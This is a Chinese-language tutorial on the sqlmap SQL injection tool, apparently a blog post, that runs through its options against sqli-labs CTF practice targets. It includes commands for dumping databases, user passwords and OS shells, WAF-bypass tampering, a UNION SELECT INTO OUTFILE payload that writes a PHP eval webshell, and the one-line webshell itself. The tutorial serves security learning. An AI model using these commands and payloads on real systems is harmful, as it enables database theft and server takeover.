sqlmap的使用

sqlmap的使用

作用

可以自动探测和利用SQL注入漏洞来查询数据和getshell,可以脱裤(--dump-all),可以访问底层的文件系统,还可以通过带外连接执行操作系统上的命令

工作流程

1)判断URL是否可连接------检查防火墙------判断注入点------判断是什么数据库

2)尝试各种类型的注入

各种参数

1、-u

用于一个url扫描

sqlmap -u "url带参数"

2、-m

用于多个url扫描,但是文件每一行只能有一个url

sqlmap -m 1. txt

3、-r

用于post注入,在要测试注入的参数后面加*

sqlmap -r 1.txt

直接写,工具会自动识别

4、-v

用于显示信息,默认为1,一般用3和4,都要背

0、只显示python错误以及严重的信息。

1、 同时显示基本信息和警告信息。(默认等级)

2、 同时显示debug信息。

3、 同时显示注入的payload。

4、 同时显示HTTP请求。

5、 同时显示HTTP响应头。

6、 同时显示HTTP响应页面。

5、--level

用于测请求头,但不想抓包,如果抓包可以直接加*的

sqlmap -r 1.txt --level=3

level>=2的时候就会测试HTTP Cookie

level>=3的时候就会测试HTTP User-Agent/Referer头

level=5的时候会测试HTTP Host

6、--data

用于把data后面的数据以POST方式提交,当参数是POST提交的时候,但没有抓取数据包

sqlmap -u "url" --data="id=1"

7、--cookie

当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到--cookie参数中。

基本格式:
sqlmap -u "url" --data="id=1" --cookie="Cookie: xxx;"

8、--user-agent

用于手动指定伪造一个User-Agent

sqlmap -u "url" --level 3 --user-agent="xxx"

9、--random-agent

用于随机生成UA,不过运行一次命令只能生成同一个UA

sqlmap -u "url" --level 3 --random-agent

10、--referer

用于手动指定伪造一个referer

sqlmap -u "url/?id=1" --referer="http://www.baidu.com"

11、-p

用于测试指定参数,和*,--level一样

sqlmap -u "url/?id=1" -p "id,user-angent"

12、--risk

共有三个风险等级,1-3:

默认是1会测试大部分的测试语句,

2会增加基于时间的测试语句,

3会增加OR语句的SQL注入测试。

注意:在有些时候,例如在UPDATE, DELETE的语句中,注入一个OR的测试语句, 可能导致更新的整个表,可能造成很大的风险。

sqlmap -u "url/?id=1" --risk=2

13、数据

-D 数据库名

-T 表名

-C 字段名

python sqlmap.py -u url -D ctftraining -T flag -C flag --dump

14、查询当前用户和密码

复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-1/?id=1   --users --passwords   


15、--os-cmd

用于执行系统命令,在退出命令行之后,系统会自动删掉写入的脚本,但是每运行一次都要去重新执行一次--os-cmd,所以getshell我们选择用--os-shell

python sqlmap.py -u http://b7cab4c1-88b5-4119-8cf5-eb5fd92b549a.node5.buuoj.cn/Less-1/?id=1 --os-cmd=ipconfig

执行结果:

该命令的原理就是写入木马,然后getshell

py 复制代码
id=1' union select '<?php  eval($_POST[1]);?>' into outfile '网站路径/文件名'

路径就是类似于下面这种,自己去猜

写入之后,再用蚁剑连接,密码是1,然后也可以在命令行执行命令

16、--os-shell

反弹交互shell

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1     --os-shell  


当页面出现os-shell时,就是已经连接成功了

17、--tamper

用于绕过防火墙

py 复制代码
python sqlmap.py -u http://14ed637c-5c7f-4bdb-a149-f65ece908a61.node5.buuoj.cn/Less-5/?id=1  --tamper  加需要的脚本名字

一句话木马

php 复制代码
<?php  eval($_POST["a"]);?>

eval是用于将字符串当成php代码执行

可在url上输入命令,来运行

php 复制代码
?a=echo `ipconfig`;
相关推荐
AC赳赳老秦14 分钟前
司法公开数据采集应用:OpenClaw 抓取裁判文书公开信息,批量整理同类参考案例
java·大数据·python·数据挖掘·数据分析·php·openclaw
EasyGBS2 小时前
ONVIF设备接入国标GB28181视频平台EasyGBS:不用国标也能一键拉流!
服务器·php·音视频
上海云盾-高防顾问2 小时前
SD-WAN 跨境加速,真实日常使用体验
网络·网络安全
柒星栈3 小时前
PHP 源码怎么加密防破解?三套方案实战指南
开发语言·php·android studio
小小代码狗3 小时前
SQLi-Labs 基础注入实战教程(Less-1 ~ Less-5and Less-9)
服务器·python·php
中北marry3 小时前
玄机靶场wp 应急响应-webshell查杀
网络安全
shencz20004 小时前
在windows10里的apache2.4加php7.2的环境下上安装Laravel5.8框架
php·laravel
憧憬成为web高手19 小时前
皮卡丘靶场速通--sql 2
数据库·sql·mybatis
TlSfoward1 天前
抓包代理链路下的 TLS 指纹变化分析 TLSFOWARD抓包工具
数据库·爬虫·网络协议·搜索引擎·php
yio_yin1 天前
Spring事务管理(数据一致性)
数据库·sql·spring